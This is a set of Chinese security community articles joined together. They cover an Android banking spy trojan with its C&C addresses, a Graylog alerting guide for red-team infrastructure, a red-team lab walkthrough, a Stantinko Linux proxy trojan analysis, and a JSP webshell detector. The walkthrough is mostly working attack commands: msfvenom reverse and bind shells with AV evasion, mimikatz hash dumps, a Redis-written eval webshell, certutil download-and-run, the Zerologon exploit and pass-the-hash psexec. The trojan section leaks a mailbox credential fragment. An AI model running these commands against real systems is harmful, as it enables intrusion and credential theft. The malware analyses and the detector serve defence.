新型间谍木马采用伪加固将其核心代码隐藏，避开杀软检测，同时，通过C&C服务端任意更新间谍木马变种版本，任意更新服务器地址，主要分为基础功能和远控功能两大部分，所谓基础功能就是样本自身所具有的恶意行为，远控功能就是与C&C服务端交互的恶意行为。
图3 代码框架
通过C&C服务端任意更新间谍木马变种版本，任意更新服务器地址后续说明。
（1） **基础功能**
开机时自启动，隐藏安装图标，激活设备管理器，屏蔽拦截短信、屏蔽挂断指定电话、上传通话录音文件、删除通话记录。
隐藏安装图标:
图4 隐藏安装图标
激活设备管理器:
图5 激活设备管理器
屏蔽拦截短信：
图6 屏蔽拦截短信
屏蔽挂断指定电话：
图7 屏蔽挂断指定电话
删除通话记录：
图8 删除指定通话记录
后台开启服务将通话录音发送到指定邮箱：
图9 将通话录音发送到指定邮箱
**(2)远控功能**
上传手机号、固件信息，并请求远控指令，根据C&C服务端下发的指令执行远程控制行为。
上传手机号、固件信息，并请求远控指令:
图10 获取手机号
图11 请求远控指令
根据C&C服务端下发的指令执行远程控制行为：
C&C服务端 | 指令 | 指令详解
---|---|---
http://113.***.137.171 /kbs.php | sendsms | 发送任意短信
http://113.***.137.171 /kbs.php | issms | 设置短信相关配置文件
http://113.***.137.171 /kbs.php | iscall | 设置电话相关配置文件
http://113.***.137.171 /kbs.php | contact | 上传通讯录联系人
http://113.***.137.171 /kbs.php | apps | 上传应用程序列表
http://113.***.137.171 /kbs.php | changeapp | 更新木马
http://113.***.137.171 /kbs.php | move | 更新服务器地址
接收到指令“sendsms”，发送任意短信：
图12 发送短信并反馈
接收到指令“issms/iscall”，设置短信/电话相关的配置参数：
图13 设置短信/电话相关的配置参数
接收到指令“contact”，上传通讯录联系人：
图14 上传通讯录联系人
接收到指令“apps”，上传应用程序列表：
图15 上传应用程序列表
接收到指令“changeapp”，卸载并更新木马版本（指定的仿冒银行木马）：
图16 卸载并更新木马版本
涉及韩国的NH智能银行、新韩银行、韩亚银行、友利银行、KB国民银行等5家银行，针对性非常强。
图17目标银行列表
接收到指令“move”，更新C&C服务器地址：
图18 更新C&C服务器地址
## 4.溯源分析
从上文技术分析我们得到了C&C服务器地址，远控邮箱账户。
**（1）溯源IP地址**
从这批木马C&C服务器所在位置的角度，我们发现8个不同IP地址(IP地址去重)，其中，中国香港占4个，日本占3个，美国占1个。
样本MD5 | 服务器地址 | IP地理位置
---|---|---
DD0ACE0363BA60A96753ED21D4DDEB07 | http://103.***.237.30/kbs.php | 中国香港
C72F2B6DC3D8F3BBF506E7CB7F35B79F | http://113.***.136.143/kbs.php | 中国香港
F36AA75CFE9EEC1D8E755C34AC50AC45 | http://113.***.137.171/kbs.php | 中国香港
3C326883FEB95ABB049A010EFD738A83 | http://113.***.137.236/kbs.php | 中国香港
3DA715A5191065D596AEE0AEDF27C7EB | http://60.***.97.36/kbs.php | 日本东京都
5A678A32CA866F13FF99A0ECB1FBC457 | http://122.***.100.128/kbs.php | 日本兵库县
97966D65B2976B06CCE09E6C4299A713 | http://126.***.162.113/kbs.php | 日本东京都
DDCB9D034A01B014173BA80DC1ACB5BD | http://45.***.80.109/kbs.php | 美国加利福尼亚州洛杉矶
其中，103.251.237.30地址反查，我们发现其曾经绑定过的58个域名（二级域名去重），经常用于僵尸网络和垃圾邮件。
IP地址曾经绑定过的部分域名列表如下：
序号 | 域名
---|---
1 | [111***.cn](https://x.threatbook.cn/nodev4/domain/111xxx.cn) |
[www.111***.cn](https://x.threatbook.cn/nodev4/domain/www.111xxx.cn)
2 | [ahz***.cn](https://x.threatbook.cn/nodev4/domain/ahzxxx.cn) |
[www.ahz***.cn](https://x.threatbook.cn/nodev4/domain/www.ahzxxx.cn)
3 | [ait***lyzers.cn](https://x.threatbook.cn/nodev4/domain/aitanalyzers.cn) |
[mail.ait***lyzers.cn](https://x.threatbook.cn/nodev4/domain/mail.aitanalyzers.cn)
4 |
[www.aita***yzers.cn](https://x.threatbook.cn/nodev4/domain/www.aitanalyzers.cn)
| [ch***col.cn](https://x.threatbook.cn/nodev4/domain/chemcol.cn)
5 | [www.ch***col.cn](https://x.threatbook.cn/nodev4/domain/www.chemcol.cn) |
[ait***lyzers.com.cn](https://x.threatbook.cn/nodev4/domain/aitanalyzers.com.cn)
6 |
[www.ait***zers.com.cn](https://x.threatbook.cn/nodev4/domain/www.aitanalyzers.com.cn)
|
[www.anv***larm.com.cn](https://x.threatbook.cn/nodev4/domain/www.anvoxalarm.com.cn)
7 | [bj***f.com.cn](https://x.threatbook.cn/nodev4/domain/bjcgf.com.cn) |
[www.bj***f.com.cn](https://x.threatbook.cn/nodev4/domain/www.bjcgf.com.cn)
8 | [delta-t***ik.com.cn](https://x.threatbook.cn/nodev4/domain/delta-technik.com.cn) | [www.delta-te***ik.com.cn](https://x.threatbook.cn/nodev4/domain/www.delta-technik.com.cn)
9 | [j***x.com.cn](https://x.threatbook.cn/nodev4/domain/jdx.com.cn) |
[www.j***x.com.cn](https://x.threatbook.cn/nodev4/domain/www.jdx.com.cn)
10 |
[www.t***ts.com.cn](https://x.threatbook.cn/nodev4/domain/www.tdts.com.cn) |
[won***models.com.cn](https://x.threatbook.cn/nodev4/domain/wondermodels.com.cn)
**（2）溯源邮箱**
从接收/发送邮件账户的角度，发送邮件和接收邮件的邮箱账户是同一个：qq18***[email protected]，密码是rk***014。
邮箱中还包含大量PC端木马程序，DNS配置SP，DNS批量域名生成器，跳转劫持代码等，说明该邮箱常用来接收其他木马文件：
**图19 邮箱内有大量恶意软件**
**（3）样本扩展**
在恒安嘉新
App全景态势与案件情报溯源挖掘平台上，通过应用名称、包名等特征关联搜索相关样本，发现平台上存在大量新型间谍木马类恶意应用，其中，该类恶意程序代码结构、包名及其类似，极有可能是同一批人开发。
## 5.总结
新型间谍木马具有代码结构相似，变种快的特点，窃取用户手机号码、通信录、通话录音、短信等个人隐私信息，最终盗取用户互联网账户的资金，危害极大，同时可能是某地下灰黑产组织针对韩国银行持续性攻击，不轻易相信陌生人，不轻易点击陌生人发送的链接，不轻易下载不安全应用。
1. 安全从自身做起，建议用户在下载软件时，到针对的应用商店进行下载正版软件，避免从论坛等下载软件，可以有效的减少该类病毒的侵害；
2. 很多用户受骗正是因为钓鱼短信的发件人显示为10086、95588等正常号码而放松安全警惕导致中招，运营商需要加强对伪基站的监控打击力度，减少遭受伪基站干扰的几率；
3. 各大银行、各支付平台需要加强对各自支付转账渠道的监管，完善对用户资金转移等敏感操作的风控机制，防止被不法分子利用窃取用户网银财产;
4. 警惕各种借贷软件的套路，不要轻易使用借贷类App。 | 社区文章 |
# 检测攻击的基础日志服务器 Part 3-4:Graylog仪表板&日志警报
|
##### 译文声明
本文是翻译文章，文章来源：https://thevivi.net/
原文地址：<https://thevivi.net/2018/03/23/attack-infrastructure-logging-part-3-graylog-dashboard-101/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一.写在前面的话
在这个博客系列的最后我会介绍如何设置一个日志服务器，并且从我们的各种攻击基础设施资产中收集日志。本文将介绍如何设置一个将这些日志数据可视化的仪表板，并创建一个日志报警系统。
## 二.Graylog仪表板
Graylog仪表板允许导入日志文件来构建可视汇总或快速统计数据。更厉害的是仪表板几乎可以显示任何一种数据类型。
**设置仪表板：**
进入仪表板菜单，点击“创建指示板”。创建一个新名字，然后添加描述并保存。
很好，我们现在已经创建了一个仪表板。接下来，我们为其添加一些小部件。
## 三.在仪表板中添加小部件:
小部件可以从通过Graylog的Search菜单添加到您的仪表板。您可以添加如统计值，搜索结果数量，IP地址地理位置信息（稍后详细介绍）等等小部件。
进入搜索菜单，在搜索框中输入“ssource：payload_server_hostname
”，选择一个时间段，然后点击进入。在下面的示例中，我的净载荷服务器的主机名为“payload”，并且搜索最后一天的日志。
接下来，滚动到搜索框下面的字段菜单中的“request”复选框，展开它并单击“Quick values”
Graylog将自动为您生成数值，包括完整的饼形图和百分比。如图，我们可以看到evil.hta在过去24小时内已经下载了18次。
如果你要将其添加到仪表板，只需点击小部件右上角的添加至仪表板按钮即可。
您可以根据需求对多个字段和日志重复此过程。例如，如果您希望看到由您的一个redirector生成的HTTP响应，只需搜索特定的redirector(例如，source:redirector1)即可。
再次单击Quick值，并让Graylog为您完成所有的工作。
稍微发挥一点脑洞，你可以打造一个高颜值的仪表盘，惊艳一下你的同事和客户们。
**小部件常见功能：**
1.TOP IP地址与您的web服务器的交互操作。
2.统计邮件服务器信息，例如邮件发送。
3.成功的网络钓鱼攻击日志。
4.SSH登录记录。
5.失败的登录尝试/暴力攻击记录。
## 四.地理位置:
请问在交互式世界地图上实时地定位IP地址是不是件非常酷的事？我不得不承认这是我建立中央日志的主要动机之一，谁不想让自己看起来像电影里的黑客呢？接下来我就介绍如何使用Graylog的地理定位功能，将世界地图添加到仪表板中。
您首先需要下载MaxMind的Geolite2城市数据库:
`cd / etc / graylog / server
sudo wget
http://geolite.maxmind.com/download/geoip/database/GeoLite2-City.tar.gz
sudo tar xvf GeoLite2-City.tar.gz`
注意:确保数据库文件可以通过Graylog读取。
接下来，我们需要启用Graylog的地理定位功能。进入系统“配置”菜单，点击“地理位置处理器插件”部分的“更新”按钮。
启用地理定位处理器，并将完整的路径输入到您的地理位置数据库中。
一旦你启用了位置处理器;在消息处理器配置部分点击Update。
启动GeoIP Resolver把它的标签拖到消息处理器列表的底部。您的配置应该与下图的配置类似:
如果你都按上面的操作。Graylog应该自动开始从包含IP地址的日志字段中提取地理位置信息。
你也可以按照以下方式进行测试是否成功，访问“搜索”菜单，然后搜索日志，这些日志将包含一个IP地址，例如apapweb请求。您应该可以在Fields菜单中看到IP_geolocation复选框。展开它并点击世界地图。
然后您应该可以在世界地图上看到所有与您的日志源交互的IP地址。您也可以像其他小部件一样将其添加到仪表板。
## 五.Slack支持
默认情况下，Slack
alerting并没有内置在Graylog中，你需要花费几秒钟的时间安装这个插件。插件你可以在Graylog市场下载。插件目录在Graylog中的jar文件下(/usr/share/
Graylog -server/plugin/默认),下载完成后记得重新启动Graylog服务哦。
`cd /usr/share/graylog-server/plugin/
sudo wget https://github.com/graylog-labs/graylog-plugin-slack/releases/download/3.0.1/graylog-plugin-slack-3.0.1.jar
sudo service graylog-server restart`
Graylog重新启动之后，插件就会被安装。
## 六.设置Slack通知
假设我们现在已经有一个Slack工作区。然后就需要创建一个用于基础架构警报的渠道。我将用下图的频道作为演示：
通过访问下面的URL创建一个新的Slack并传入Webhook：
`https://[YOUR_WORKSPACE].slack.com/services/new/incoming-webhook`
它会提示您选择为基础设施提醒创建一个Slack频道。
复制生成的Webhook，并将其保存在某处供以后使用。如果您愿意，也可以更改Web集成用户名和图标。完成后，点击页面底部的保存设置.
准备好webhook后，回到Graylog，导航到Alerts菜单并单击Manage notifications按钮。
点击添加新通知，你可以在下拉菜单中看到Slack Alarm Callback选项。
为你刚才的警报设置一个新名字，输入你的Slack频道的名字并粘贴你之前保存的webhook值。
完成后点击保存。您现在就可以测试是否成功了。如果一切顺利，您的基础设施Slack频道中应该会收到一个新的虚拟通知。
## 七.创建一个警报条件：
我将下载一个payload来演示Slack警报功能，但您可以设置其他类型的可疑活动来触发警报。我将演示下载我的Web服务器“payloads”
目录中存储的“ evil.hta ” 文件。
前往警报菜单并点击管理条件。点击在页面上添加新条件。选择下一个菜单中的All messages stream和Field Content Alert
Condition作为条件类型。
在下一个菜单中，为您的新条件设置一个标题，在字段框中输入请求，在Value域中输入/payloads/evil.hta（或任何payload目录和名称）。完成后保存条件。
注：如果您希望将下载的Apache日志条目追加到Slack警报消息中，请将 Message Backlog设置为1。
**测试：**
如果您已经适当地配置了您的条件和通知，您应该能够测试payload下载警报。转到浏览器/终端，下载你payload。您应该会收到一个新的Slack通知。
这可能会有轻微的延迟，稍微等下。报警将会显示在“Graylog的警告”菜单中。
现在，您只需添加其他的新条件来做到随时提醒。
一些常见条件：
成功的钓鱼。
来自IR用户代理(例如wget、nc、curl、python等)的有效载荷下载/ web请求。
来自已知“不良IPs”的Web请求(例如，AV供应商IP地址)。
成功登录到您的基础设施。
结论：
在这里，基础设施日志记录系列就要结束了。在长期参与的渗透测试中设置集中式日志记录可能有点困难，但从长远的角度来看可以为您节省更多的时间和精力，并为您提供重要的运营优势，感谢您的阅读。
## 参考
<http://docs.graylog.org/en/2.4/pages/streams/alerts.html>
<http://docs.graylog.org/en/2.4/pages/plugins.html#plugins>
<https://marketplace.graylog.org>
<https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki>
<http://docs.graylog.org/en/2.4/pages/dashboards.html>
<http://docs.graylog.org/en/2.4/pages/geolocation.html>
<http://docs.graylog.org/en/2.4/pages/dashboards.html#widget-types>
<http://docs.graylog.org/en/2.4/pages/queries.html>
## 本文翻译
<https://thevivi.net/2018/03/23/attack-infrastructure-logging-part-3-graylog-dashboard-101/>
<https://thevivi.net/2018/03/23/attack-infrastructure-logging-part-4-log-event-alerting/> | 社区文章 |
# 前言
在红队攻防中，我们主要在外网进行信息收集，通过cms或者其他漏洞拿到shell，之后通过免杀木马将windows或linux服务器上线到cobalt
strike或msf等c2服务器，之后对内网进行信息收集并绘制网络拓扑图，进行工作组或域渗透，拿到各个网段机器的权限，远程登陆并截图证明。
# 环境配置
从虚拟机网络来看
机器描述
攻击机：
win10：192.168.1.6
kali：192.168.1.10
第一层：12server-bt：
192.168.1.5
192.168.59.133
第二层：12server-redis：
192.168.59.4
10.10.10.202
第三层：
12server-ex13：
10.10.10.209
第三层：
12server-dc：
10.10.10.201
192.168.59.133 存在杀软(火绒), 可通外网, 可访问server-redis
192.168.59.4/10.10.10.202 不通外网，可以通内网两个机器，也可以访问到机器server-bt,
10.10.10.209 为邮服, 只能内网机器互相访问
10.10.10.201 为 DC
# 目录如下
# 第一层 server-bt
## 蚁剑拿shell
此部分参考本人发表的上一上一篇文章《红队攻防实战系列一之Cobalt Strike》
文章链接：<https://xz.aliyun.com/t/10244#toc-5>
## msf免杀拿shell
使用msfvenom生成免杀木马payload，里面的IP和端口自行修改，就是反弹shell的kali
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 lport=6666 -e x86/shikata_ga_nai -i 12 -f raw -o msf.bin
使用分离免杀工具生成loader.exe文件
对生成的exe文件进行加壳免杀
免杀效果如下
免杀之后通过蚁剑上传到server-bt上
msf开启监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set lport 6666
run
蚁剑运行
getuid
ps
migrate 476
## msf内网渗透
load mimikatz # 加载Mimikatz模块
抓取Hash
meterpreter > mimikatz_command -f samdump::hashes
hashdump
然后抓到了 hash：
通过解密得到了 administrator 的密码
route print # 打印路由信息
对内网进行扫描 arp 存活
run post/windows/gather/arp_scanner rhosts=192.168.59.0/24
配置路由
meterpreter > run autoroute -s 192.168.59.0/24
开启远程桌面
run post/windows/manage/enable_rdp
成功开启了远程桌面，并且生成了一个txt文件，这个txt文件往后可用来关闭远程桌面，关闭命令
run multi_console_command -r
/root/.msf4/loot/xx_default_192.168.1.5_host.windows.cle_xxx5.txt
绕过火绒添加用户
蚂蚁剑或者cs上传添加用户.exe
运行文件
帐号：hxxxr 密码：Pxxxxd
远程登录server-bt
## 权限提升
使用psexec.exe可以提升到system权限
psexec.exe -accepteula -s -i -d cmd.exe
但是桌面还是之前用户的权限启动的
为了完全提权，我们可以在system的cmd里面输入taskmgr.exe来启动任务管理器
在任务管理器里面我们结束掉之前由之前账号开启的桌面进程
然后再添加一个由system权限下开启的桌面进程
再点入看现在登入的账号是
# 第二层 server-redis
## Earthworm穿透
上传EW（Earthworm）到C:/wwwroot/
服务器端执行以下命令
execute C:\wwwroot\ew.exe -s ssocksd -l 1090
这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf
socks5 192.168.1.5 1090
探测内网网段存活主机
proxychains nmap -sT -Pn -p 80 192.168.59.0/24
192.168.59.4是存活的，我们着重看一下,发现开了80和6379
## Redis-getshell
kali环境进行爆破
proxychains hydra -P /usr/xxx/password.lst 192.168.59.4 redis 6379
得到Redis口令：
连接redis
proxychains src/redis-cli -h 192.168.59.4 -a 1xxxxx
备份文件写Shell
192.168.59.4:6379>config set dir "C:\\inetpub\\wwwroot" 进入默认目录
192.168.59.4:6379>config set dbfilename "redis.asp" 创建文件
192.168.59.4:6379>set x "<%eval request(\"chopper\")%>" 写入webshell
192.168.59.4:6379>save 最后保存
利用过程
代理蚁剑进行连接这个shell
成功连接到server-redis
并查看权限
利用蚁剑把SweetPotato.exe（甜土豆）上传到C:/Redis/或者C:/ProgramData/目录下
成功进行提权
## msf正向免杀木马拿到shell
Earthworm穿透
挂代理，通过之前上传的EW（Earthworm）
服务器端执行以下命令(关掉server-bt的防火墙代理才能生效)
execute C:\wwwroot\ew.exe -s ssocksd -l 1090
这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf
socks5 192.168.1.5 1090
msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f raw -o msf1.bin
用msfvenom生成一个正向马传进去（因为无法访问外网，反向出不来），msf正向连接。
使用分离免杀工具生成loader.exe文件
改名为msf1.exe，进行加壳免杀
免杀效果如下
先把木马通过蚂蚁剑上传到宝塔(需要进行免杀)，火绒未告警
通过redis的shell进行操作，192.168.59.4远程下载192.168.59.133上的马
C:\ProgramData\xxxx.exe -i -c "certutil -urlcache -split -f http://192.168.59.133/msf1.exe msf1.exe
再通过提权工具进行执行
C:\ProgramData\xxxx.exe -i -c "msf1.exe"
也可以直接将木马上传到server-redis的C:/Redis/可写目录下就不需要免杀了
msf通过代理开启监听
proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.59.4
set lport 4444
run
成功获取服务器的shell，之后就是各种权限维持了。创建计划任务、开机自启等等都能够实现。
ps
migrate 3992
getuid
getsystem
getuid
添加账户和远程连接同第一层
## msf内网渗透
load mimikatz # 加载Mimikatz模块
抓取Hash
meterpreter > mimikatz_command -f samdump::hashes
hashdump
得到12SERVER-REDIS账号密码：
route print # 打印路由信息
配置路由
meterpreter > run autoroute -s 10.10.10.0/24
run autoroute -p
通过蚂蚁剑将nbtscan.exe上传到server-redis的Redis可读写目录下
探测内网段存活
nbtscan.exe 10.10.10.0/24
ipconfig /all
10.10.10.0/24段的DNS服务器是10.10.10.201 而在域环境中DNS服务器就是当前使用的域控制器
添加完路由后可以通过msf访问所有机器，访问域控
proxychains curl 10.10.10.201
# 第三层 server-dc
## zerologon（CVE-2020-1472）漏洞复现
这里已经满足触发zerologon的两个条件，能ping通域控制器，知道域控计算机名，当然最后dump出域内所有hash的时候需要域名
置空域控机器用户NTLM hash
proxychains python3 cve-2020-1472-exploit.py 12server-dc$ 10.10.10.201
接下来用置空的机器账户dump所有hash
proxychains secretsdump.py -hashes :31d6cfxxxxxxx089c0 'xxxxx.xx/[email protected]'
(890c这个hash就是"空"的NTML hash）
我们的目标是获得域内administrator的hash，然后就可以hash传递，登陆任意域内机器
proxychains wmiexec.py -hashes :42e265xxxxxx62387 [email protected]
## 利用 psexec(PTH)上线server-dc到 MSF：
proxychains msfconsole
use exploit/windows/smb/psexec
set RHOST 10.10.10.201
set SMBUser Administrator
set SMBPass aad3bxxxxxxxx4ee:42e265xxxxxx962387
set SMBDomain xxxxx
set payload windows/x64/meterpreter/bind_tcp_rc4
set LPORT 4446
run
成功获取到shell
利用 psexec 上线server-ex13到 MSF：
proxychains msfconsole
use exploit/windows/smb/psexec
set RHOST 10.10.10.209
set SMBUser Administrator
set SMBPass aad3bxxxxxxxee:42exxxxxxx387
set SMBDomain xxxx
set payload windows/x64/meterpreter/bind_tcp_rc4
set LPORT 4447
run
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。
博客:
<https://rdyx0.github.io/>
先知社区：
<https://xz.aliyun.com/u/37846>
SecIN:
<https://www.sec-in.com/author/3097>
CSDN:
<https://blog.csdn.net/weixin_48899364?type=blog>
公众号：
[https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect)
FreeBuf：
<https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85> | 社区文章 |
**译者：知道创宇404实验室翻译组**
**原文链接：<https://www.intezer.com/blog/research/stantinkos-proxy-after-your-apache-server/>**
## 前言
黑客通常会开发自己的Linux恶意软件，BlackTech的新型恶意软件[ELF_PLEAD](https://blogs.jpcert.or.jp/en/2020/11/elf-plead.html)
和Winnti的[PWNLNX](https://twitter.com/IntezerLabs/status/1308740144120213506)
工具就是最近的例子。结合这种趋势，我们发现了与 **Stantinko group**
相关的新版本Linux代理木马。在本文发布之时，只检测到一个在VirusTotal中的恶意软件。
Stantinko黑客组织以Windows操作系统为目标而闻名，其活动可以追溯到2012年。恶意软件主要包括硬币矿工和广告软件僵尸网络。
在2017年 概述Stantinko运营的[白皮书中](https://www.welivesecurity.com/wp-content/uploads/2017/07/eset_stantinko_whitepaper_final.pdf)，ESET研究人员分析了Linux木马代理。到目前为止，这是Stantinko唯一已知的Linux恶意软件。
我们发现了这个伪装为 **httpd**
的Linux木马的新版本。httpd是Apache超文本传输协议服务器，这是Linux服务器上的常用程序。该示例的版本为2.17，而较早的版本为1.2 。
我们认为，这种恶意软件是利用受到破坏的Linux服务器的广泛活动的一部分。我们将对该恶意软件进行技术分析，并将其与以前的版本进行比较。
## 技术分析
新的代理版本文件名为 **httpd**
，在撰写本文时，只检测到一个在VirusTotal中的恶意软件。图1描述了VirusTotal的结果，于2020年11月7日从俄罗斯（斯坦汀科的主要目标国家之一）上载，是未剥离的64位ELF二进制文件。
_图1：VirusTotal（7d2a840048f32e487f8a61d7fc1a0c39_ _）中样本检测报告_
## 恶意软件流
执行后，恶意软件将验证配置文件，该配置文件将与恶意软件一起在受感染的计算机上传递。恶意软件期望配置文件位于“
/etc/pd.d/proxy.conf”。如果配置文件不存在，或者缺少所需的结构，则该恶意软件将退出而不进行任何其他恶意活动。图2是配置解析逻辑的摘录。配置存储为键/值对。
_图2：ParseConfigElement_ _函数用于解析配置文件_
该配置文件应具有以下密钥：proxy_ip、port、redirect_url、localhost、ip_header和request_header_log_files。
验证并解析配置文件结构后，将 **调用start_demon**
函数，并且代理程序将自身守护进程。然后创建一个套接字和一个侦听器以接受来自客户端的连接。我们相信与该特洛伊木马进行交互的客户是活动中其他受感染的计算机。图3是摘自
**主要** 功能的代码片段，显示了上述通用代码流程。
_图3：主要功能流程片段_
客户端连接到侦听器后，程序将调用 **on_client_connect** 函数，检查请求方法是GET、POST还是NOTIFY。
如果请求方法是GET，则程序将返回301重定向HTTP响应，该响应包含来自配置文件的 **redirect_url**
参数。这意味着，如果仅使用浏览器简单搜索C＆C
IP，可能会由于重定向到良性网站而产生误导，而不会留下攻击中使用的额外有效负载的痕迹。如果请求方法是POST或NOTIFY，则恶意软件将使用
**create_post_data** 函数根据客户端的HTTP请求标头和内容来构建POST请求，以发送到C＆C服务器。然后，程序将调用
**mysql_server_do_request** 函数，该函数负责将POST请求发送到C＆C。图4显示了 **on_client_connect的**
一个片段功能。
_图4：on_client_connect函数的代码片段_
POST请求被发送到C＆C服务器上的以下路径之一：
* /kbdmai/index.php
* /kbdmai/dht/index.php
* /kbdmai/DRTIPROV/index.php
* /kbdmai/winsvc/index.php
* /kbdmai/anti_rstrui/index.php
根据从客户端发送的数据，在 **detect_proxy_script** 函数中选择路径。我们认为，每条路径都将不同的有效负载作为攻击链的一部分。C＆C
IP地址作为 **proxy_ip** 参数存储在配置文件中。最后，代理将C＆C响应转发回客户端。图5着重强调了攻击流程。
_图5：攻击流程_
1. 受感染的客户端将POST或NOTIFY HTTP请求发送到代理
2. 代理解析该请求，然后将POST请求传递给攻击者的服务器
3. 攻击者的服务器回复代理，代理将响应传递给客户端
4. 未受感染的计算机将GET请求发送到代理
5. 代理通过301重定向回复到预配置的URL
## 版本比较
两种版本之间的差异将近三年，特洛伊木马代理的目的相似，但并不完全相同。在本节中，我们将基于以下三个条件比较版本1.2 和2.17：参数、功能和ELF结构。
### 参量
新版本（2.17）使用一个配置文件，该配置文件与恶意软件一起放在受害者的计算机上。配置文件包含C＆C IP地址以及其他参数。在旧版本（1.2
）中，C＆C被硬编码在二进制文件中，一旦检测到二进制文件，便可以更轻松地阻止广告系列的流量。
### 功能性
除了代理功能外，旧版本还从C＆C接收文件和自我更新命令。新版本更简单，因为它仅充当代理。
### ELF结构
版本1.2 和2.17均未删除，并包含调试符号。旧版本是静态链接的，而新版本是动态链接的。
## Stantinko连接
将文件上传到Intezer Analyze后，我们注意到新变体与旧变体共享了几个函数名。这些函数（例如 **get_binary_full_path** 和
**read_variable_string** _）_ 不会在新版本中静态调用。我们几乎可以肯定，这些功能是以前版本中的遗留功能。
_图6：Linux版本之间的字符串重用_
有趣的是，基于[ESET的研究](https://www.welivesecurity.com/wp-content/uploads/2017/07/eset_stantinko_whitepaper_final.pdf)，C＆C路径暗示了一些早期活动。硬编码路径的示例如图7所示。根目录名称为
_kbdmai。_ “ KDBMAI.dll”是Stantinko在2012年使用的恶意软件文件名。此外，该恶意软件的C＆C托管在kdbmai [.]
net上。另一个有趣的目录是 _DRTIPROV_ 。DRTIPROV是该组织的Windows恶意软件之一的程序数据库（pdb）路径的一部分。
_图7：在detect_proxy_script函数中硬编码的路径_
## 包装
Stantinko是针对Linux服务器的最新恶意软件，它可以在雷达下飞行，并加入[Doki](https://www.intezer.com/container-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/)、[IPStorm](https://www.intezer.com/blog/research/a-storm-is-brewing-ipstorm-now-has-linux-malware/) 和[RansomEXX](https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/)等威胁。
现在，新的Stantinko样本中的代码已在Intezer的基因组数据库中建立了索引。[注册](https://www.intezer.com/join-intezer-protect-community-edition/) Intezer Protect **社区版，**
以在运行时防御Linux云服务器免受最新的Linux威胁。
[](https://analyze.intezer.com/files/1de81bf6ee490b6bebe9f27d5386a48700e8431f902f4f17d64ddc5d8509ca7a)
## IOCs
**新版本：2.17** 1de81bf6ee490b6bebe9f27d5386a48700e8431f902f4f17d64ddc5d8509ca7a
**旧版本：1.2**
889aa5a740a3c7441cdf7759d4b1c41c98fd048f4cf7e18fcdda49ea3911d5e5
968b41b6ca0e12ea86e51e0d9414860d13599cd127ad860e1c52c2678f4f2cb9
43a6894d5953b37f92940d5c783c9977690f358b5e25bba8c096fa54657bb2e5
a305d488733d50ea92a2794cb6e0aa9d1d176e2c8906305ea48ff503fc2eb276
* * * | 社区文章 |
### 前言
之前浏览先知的时候看到了4ra1n师傅的一篇文章[《基于污点分析的JSP
Webshell检测》](https://xz.aliyun.com/t/10622)，觉得写的很好，之前在看三梦师傅的[《java反序列化利用链自动挖掘工具gadgetinspector源码浅析》](https://xz.aliyun.com/t/7058#toc-5)，其中用到技术也是asm污点跟踪，当时看了很多遍都没看明白。这次在4ra1n师傅发表过关于asm污点跟踪的文章后我决定以该文章为起点，再重新学习一下这方面的知识。出于安服仔的实用性考虑，在对<https://github.com/EmYiQing/JSPKiller/>
进行研究后发现了该工具可适用于实验室环境，但可能无法较好的运用于真实攻防场景，于是决定设计一款同样依据asm污点跟踪的jsp webshell查找工具---JspFinder。虽然都是asm污点跟踪，但运转逻辑却和JSPKillder不大相同。接下来进入正文。
### 使用方式
-d 指定需要扫描的web目录，这是一定需要添加的参数，因为编译jsp需要依赖项目的jar包，所以单独指定一个jsp可能编译会报错，因此需要指定一个web目录
-cp 表示依赖的中间件jar包的目录，tomcat的话就是lib目录，这个参数最好加上，不然可能会编译出错
下面命令表示检查apache-tomcat-8.0.50目录下是否有jsp
webshell，如果有的话就输出结果并保存在result.txt中。目前支持Runtime/ProcessBuilder/ScriptEngine/冰蝎/哥斯拉/天蝎的webshell检测。详情关注：<https://github.com/flowerwind/JspFinder>
java -jar JspFinder-1.0.0-SNAPSHOT-jar-with-dependencies.jar -d D:\tomcat环境\apache-tomcat-8.0.50-windows-x64\apache-tomcat-8.0.50 -cp D:\tomcat环境\apache-tomcat-8.0.50-windows-x64\apache-tomcat-8.0.50\lib
### 原理解析
#### 1、解析jsp为class
首先，asm污点跟踪需要一个class文件作为输入，那么我们就需要将jsp文件转为.class。JSPKiiler是通过将需要检测的webshell内容替换jsp模板中的
**WEBSHELL**
内容,从而获得一个新的Webshell.java，然后把Webshell.java编译为Webshell.class获得一个class文件。这种方式在快捷和实验室角度考虑是没问题的，但真实环境下一个jsp文件中可能包含着很多的方法。把多个方法的代码塞入Webshell.java的invoke方法中就会报错。
对于该问题JspFinder使用了tomcat下一个jsp解析包---jasper，jasper可以把jsp文件直接编译为一个class文件，同时我们会在同目录下创建一个JspCompile用于存放编译后的jsp结果。
下面列举一个test123.jsp进行编译
其结果如下图，jsp编译后，会把之前jsp的执行逻辑全部放入__jspService方法中。
而定义的方法在编译后方法名和方法体都和之前保持不变
#### 2、保存编译后的class和被扫描的jsp之间的对应关系
